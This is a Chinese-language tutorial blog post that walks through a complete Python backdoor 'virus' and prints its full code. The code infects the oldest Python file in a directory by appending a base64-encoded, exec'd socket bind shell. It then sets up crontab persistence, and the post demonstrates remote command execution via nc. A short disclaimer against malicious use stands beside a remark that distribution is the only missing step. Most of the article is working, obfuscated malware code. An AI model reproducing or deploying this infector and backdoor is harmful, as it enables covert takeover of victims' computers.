來看下Python病毒長啥樣
今天的文章來展示一個 Python“病毒”,它使用後門程式碼感染其他 Python 檔案。 利用 Python 的內建 socket 模組來建立一個監聽器,用來連線到 Python 的內建子程序模組,從而靶機上執行命令,同時還通過建立一個 cronjob 來建立永續性,以在每天固定的時間執行惡意軟體。 最終的 Python 指令碼包含在本文末尾。 注意:請不要將本文中提供的 Python 指令碼用於惡意目的。 雖然它不先進,但經過一些修改,它可以讓完全控制某人的計算機。 本文的主要目的是通過這些指令碼,更好地瞭解黑客如何獲取正常程式並使它們成為惡意程式。
話不多說,讓我們開始吧。
1、建立通訊
任何後門最重要的部分都是建立通訊。現在,讓我們為後門訪問建立伺服器,要通過 TCP 連線連線到靶機,我們需要使用套接字模組模擬偵聽伺服器。在 socket 模組中,有一個函式也稱為 socket,我們可以使用它來建立 TCP 或 UDP 套接字。使用 socket.socket 函式建立套接字時,我們需要提供兩個引數來指定我們要使用的 IP 版本和第 4 層協議。在這個 Python 指令碼中,我們將傳入以下引數:socket.AF_INET 和 socket.SOCK_STREAM。
- AF_INET : 指定 IPv4
- SOCK_STREAM :指定 TCP 而不是 UDP。
- socket.socket 函式返回一個物件,該物件由最終確定正在建立的套接字是偵聽套接字(伺服器)還是連線套接字(客戶端)的方法組成。要建立偵聽套接字,需要使用以下方法:
- bind > 將 IP 地址和埠繫結到網路介面
- listen > 指示我們的套接字開始監聽傳入的連線
- accept > 接受傳入連線
- recv > 從連線的客戶端接收資料
- send > 向連線的客戶端傳送資料
然而,最重要的方法是 recv 和 send。 recv 方法會接收來自攻擊者的命令,使用 subproces.run 函式在受害者的系統上執行它們,然後將執行命令的標準輸出重定向到與攻擊者建立的 TCP 連線。下面是 Python 程式碼:
```python from socket import socket, AF_INET, SOCK_STREAM from subprocess import run, PIPE from os import _exit
def serve(): with socket(AF_INET, SOCK_STREAM) as soc: # [*] The obfuscated values are just the IP address and port to bind to soc.bind((ip, 埠)) soc.listen(5) while True: conn, _ = soc.accept() while True: cmd = conn.recv(1024).decode("utf-8").strip() cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE) if cmd_output.returncode == 0: conn.send(bytes(cmd_output.stdout)) else: continue
serve() ```
2、感染目標 Python 檔案
這段程式通過遍歷指定目錄(最好是使用者的主目錄)並查詢修改時間最早的 Python 指令碼。 這裡是測試,因此不是感染所有 Python 檔案,而僅感染修改時間最早的檔案。感染一個 Python 檔案對於控制靶機來說已經夠了。
```python def MTRkYmNubWx(self): YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\" for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa): for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"): if f == Z3Jvb3RhbGZq + YWJyZmFm + file: continue eHhtbG1vZGF0 = stat(f).st_mtime ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0) if not self.Z2hhenh4ZGwK: self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]: self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
``` 上述程式碼的部分變數使用了混淆,讓人不易看懂,其實很簡單,就是使用 os 模組中定義的 walk 和 stat 函式來遍歷目錄檔案並獲取它們的修改時間。 獲得的每個檔案的修改時間被轉換為 datetime.datetime 物件,以便我們可以使用 > < 和 == 等運算子輕鬆比較日期。 在這個函式的最後,選定的目標 Python 檔名被傳遞到將後門伺服器程式碼注入其中的函式。
3、通過 crontab 任務來持久化
這個 Python 後門的最後一個函式使用 subprocess.run 函式來呼叫一個 Linux shell 命令,該命令將在當前使用者的 crontab 檔案中建立一個條目。 此條目指定計劃的 cronjob 應在每天 14:00 定時執行。 新增 crontab 對應的 shell 命令如下:
sh
echo '00 14 * * * file_name | crontab -
然後我們讓 Python 把上一步感染的檔案新增到 crontab 中:
python
def YWZhdGhjCg(self):
if self.bGpqZ2hjen == "Linux":
run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
4、最終的完整程式碼
```python
!/usr/bin/env python3
from os.path import expanduser from os import walk, stat from sys import path from glob import glob from platform import system from base64 import b64encode, b64decode from subprocess import run, PIPE from datetime import datetime
class eHhjemR5eXB: def init(self, cHlkYWNhZWFpa): self.cHlkYWNhZWFpa = cHlkYWNhZWFpa self.bGpqZ2hjen = system() self.aWFmYXRye = "0.0.0.0" self.ZmFsa2p0aGM = 0x401 self.Z2hhenh4ZGwK = None
def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):
YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"
YWxmanRob += b"\nfrom subprocess import run, PIPE"
YWxmanRob += b"\ndef serve():"
YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"
YWxmanRob += bytes(
f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"
)
YWxmanRob += b"\n\t\tsoc.listen(5)"
YWxmanRob += b"\n\t\twhile True:"
YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"
YWxmanRob += b"\n\t\t\twhile True:"
YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()'
YWxmanRob += (
b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"
)
YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:"
YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
YWxmanRob += b"\n\t\t\t\telse: continue"
YWxmanRob += b"\nserve()"
YWxmanRob_base64 = b64encode(YWxmanRob)
cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"
cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'
cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format(
YWxmanRob_base64.decode()
)
with open(dGR6eGFteXBxC, "a") as f:
f.write(cXBxZXJjYQ)
self.ZmFsa2p0aGM += 1
def MTRkYmNubWx(self):
YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
continue
eHhtbG1vZGF0 = stat(f).st_mtime
ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
if not self.Z2hhenh4ZGwK:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
def YWZhdGhjCg(self):
if self.bGpqZ2hjen == "Linux":
run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
if name == "main": # For traversing the user's home directory # aGdsZGFx = expanduser('~') # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx) YmNjLGFka2x = eHhjemR5eXB("./test") YmNjLGFka2x.MTRkYmNubWx() YmNjLGFka2x.YWZhdGhjCg() ```
在靶機執行該程式碼後,會感染 ./test 目錄中最近修改的檔案(目標檔案),會自動在目標檔案的最後新增這兩行程式碼:
```python from subprocess import run run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG
```
是不是非常隱蔽?
5、訪問後門
為了測試,我們手動執行下感染的檔案,而不是等待 crontab。
sh
~ # crontab -l
37 13 * * * /root/transferfile/transfile_interface.py
~ # cd transferfile/
~/transferfile # python transfile_interface.py
~/transferfile #
程式正常結束,沒有任何異常。 然後使用 nc localhost 1025
來反彈一個 shell,在這裡執行 ls, whoami 就是靶機的資訊了:
這裡演示的 localhost 即為靶機,真實場景下就是靶機的 ip 地址。現在靶機已經完全被控制了,而受害者完全不知情。
最後的話
現在,你已經學習瞭如何使用 Python 程式語言建立永續性後門,學習瞭如何使用 Python 的 socket 模組、如何遍歷目錄以及如何建立 crontab 條目。 如果真正的要感染別人,還要學會如何分發這個後門程式,這裡不做探討。如果有收穫,還請給個在看,感謝閱讀。
- 來看下Python病毒長啥樣
- 不可思議,Python的鏈式比較還可以這樣
- 這個工具,立馬讓我拋棄了 PowerDesigner
- 按下ls -l *.py 並回車,shell 都為我們做了什麼?
- 18 個壞習慣,你一定要拋棄
- 使用 Django 進行測試驅動開發
- 僅用用手機就發現了酒店路由器的漏洞
- fastapi:快速開發一個文字轉語音的介面
- 訊息佇列簡介及 RabbitMQ 的使用方法
- Python 自動化辦公-玩轉瀏覽器
- Vim新手快速入門
- collections 庫中常用的 4 個數據結構
- 單調棧可以解決什麼問題
- 如何使用Python基於介面程式設計
- 超級無敵實用的vscode快捷鍵
- JWT 的過期時間為什麼沒有生效?
- 如何用有限狀態機器識別有效的地址
- 如何配置一個高效、漂亮、愛不釋手的終端?
- 用 Python 快速找到最大的檔案
- 寫Python指令碼,一定要加上這個